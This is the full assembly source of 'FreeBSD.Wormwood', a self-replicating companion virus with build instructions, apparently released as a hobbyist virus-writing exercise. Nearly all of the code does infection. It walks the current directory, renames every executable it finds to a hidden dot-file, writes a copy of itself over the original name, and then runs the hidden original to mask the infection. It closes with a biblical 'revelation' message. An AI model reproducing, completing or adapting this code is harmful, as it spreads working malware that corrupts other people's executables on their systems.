# # [FreeBSD.Wormwood] # # Simple FreeBSD virus. Written as a test of a posibility of writing FreeBSD # virus on a pure assembly. Infection way is a companion method - creation of # the spawned hiden file, which is running after all viral actions complete. # Very easy to understand and well good as a first step to the FreeBSD assembly # coding. # # To compile: # ----------- # as -o wormwood.o wormwood.s # ld -s -o wormwood wormwood.o # # 31/08/01 .include "syscall.inc" .include "freebsd.inc" .include "dirent.inc" VIRUS_SIZE = 1200 # Hardcoded size, check it before run!!! .text .globl _start ############################################################################### # Virus # ############################################################################### _start: _VirusStart: # Save the 1st command line argument (argv[0]) offset # (it is the name of the currently runned file) movl 4(%esp), %eax # argv[0] movl %eax, _OurNameOffset # Open current directory for read only pushl $O_RDONLY pushl $_Directory movl $SYS_open, %eax pushl %eax int $0x80 jnc 1f addl $12, %esp # If an error jmp _ExitVirus # Go out 1: addl $12, %esp xchgl %eax, %ebx # Read directory structure _ReadInfoBlock: pushl $S_BLKSIZE movl $_InfoBlock, %ecx pushl %ecx pushl %ebx movl $SYS_getdents, %eax pushl %eax int $0x80 addl $16, %esp orl %eax, %eax jz _ExitVirus # if there's no filez 1: call _ProcessFile # Call infection movzwl d_reclen(%ecx), %edx addl %edx, %ecx movl %ecx, %edx subl $_InfoBlock, %edx cmpl %eax, %edx jl 1b jmp _ReadInfoBlock ############################################################################### # INFECTION PROCEDURE # ############################################################################### _ProcessFile: pushal # Do some checks for loyality testw $DT_REG, d_type(%ecx) # is it a regular file? jz _EndFile cmpb $0x2e, d_name(%ecx) # check for DOT at the je _EndFile # name beggining # Did we find ourself? pushl %ecx popl %ebx movl _OurNameOffset, %edi cmpw $0x2f2e, (%edi) # skip "./" at start jne 1f incl %edi incl %edi 1: leal d_name(%ecx), %esi pushl %edi xorl %eax, %eax repne scasb popl %ecx xchgl %ecx, %edi subl %edi, %ecx rep cmpsb je _EndFile xchgl %ebx, %ecx # Can we execute the file? pushl $X_OK # check for execute leal d_name(%ecx), %eax # permissions pushl %eax movl $SYS_access, %eax pushl %eax int $0x80 addl $12, %esp orl %eax, %eax jnz _EndFile # Create the companion name (put the DOT before the name) movb $'.', d_namlen(%ecx) # the same offset as # d_name - 1 # Check the presention of the companion file pushl $F_OK leal d_namlen(%ecx), %eax # same as d_name - 1 pushl %eax movl $SYS_access, %eax pushl %eax int $0x80 addl $12, %esp orl %eax, %eax # file is presented jz _EndFile # means "infected" # Open ourself pushl $O_RDONLY pushl _OurNameOffset movl $SYS_open, %eax pushl %eax int $0x80 jnc 1f addl $12, %esp jmp _EndFile 1: addl $12, %esp xchgl %eax, %ebx # Read ourself to the buffer pushl $VIRUS_SIZE pushl $_Buffer pushl %ebx movl $SYS_read, %eax pushl %eax int $0x80 addl $16, %esp # Close ourself pushl %ebx movl $SYS_close, %eax pushl %eax int $0x80 addl $8, %esp # Rename founded file to the companion leal d_namlen(%ecx), %eax pushl %eax leal d_name(%ecx), %eax pushl %eax movl $SYS_rename, %eax pushl %eax int $0x80 addl $12, %esp orl %eax, %eax jnz _EndFile # Create infected file pushl $S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH pushl $O_WRONLY|O_CREAT|O_EXCL leal d_name(%ecx), %eax pushl %eax movl $SYS_open, %eax pushl %eax int $0x80 addl $16, %esp # Write virus to the victim pushl $VIRUS_SIZE pushl $_Buffer pushl %ebx movl $SYS_write, %eax pushl %eax int $0x80 addl $16, %esp # Close victim pushl %ebx movl $SYS_close, %eax pushl %eax int $0x80 addl $8, %esp _EndFile: popal ret ############################################################################### # EXIT VIRUS # ############################################################################### _ExitVirus: # Prepare the string with our companion file name in the _Buffer # (PAY ATTENTION: buffer should be greater then MAXNAMELEN!!!) movb $'.', _Buffer movl _OurNameOffset, %esi movl $_Buffer+1, %edi lodsw cmpw $0x2f2e, %ax # skip "./" at start je _NextSymbol stosw _NextSymbol: lodsb orb %al, %al jz _EndOfTheNameString stosb jmp _NextSymbol _EndOfTheNameString: stosb # Put the address of the name to the Argv[0] movl $_Buffer, %eax movl %eax, 4(%esp) # Get the Envp[] offset movl %esp, %eax pushl %eax popl %ebx addl $4, %ebx # %ebx = Argv[] movl (%esp), %ecx shll $2, %ecx addl $8, %ecx # add Argc and 0 addl %ecx, %eax # %eax = Envp # Execute file pushl %eax # offset Envp[] pushl %ebx # offset Argv[] pushl $_Buffer # offset file name movl $SYS_execve, %eax pushl %eax int $0x80 # we don't clear stack # after this syscall # because there is # an error anyway # We are still here? This means an error pushl $_RevelationL pushl $_Revelation pushl $STDOUT movl $SYS_write, %eax pushl %eax int $0x80 jmp . # endless loop ############################################################################### # VIRUS DATA STRUCTURE # ############################################################################### .data _Directory: .asciz "." _Name: .ascii "[FreeBSD.Wormwood]" _Revelation: .ascii "\n\nREV.8:10 The third angel sounded his trumpet,\n" .ascii " And a great star, blazing like a torch,\n" .ascii " Fell from the sky on a third of the rivers\n" .ascii " And on the springs of water -\n" .ascii "REV.8:11 The name of the star is Wormwood.\n" .ascii " A third of the waters turned bitter,\n" .ascii " And many people died from the waters\n" .ascii " That had become bitter.\n\n" _RevelationL = . - _Revelation .bss _OurNameOffset: .int 0 _InfoBlock: .skip S_BLKSIZE, 0 _Buffer: .skip VIRUS_SIZE, 0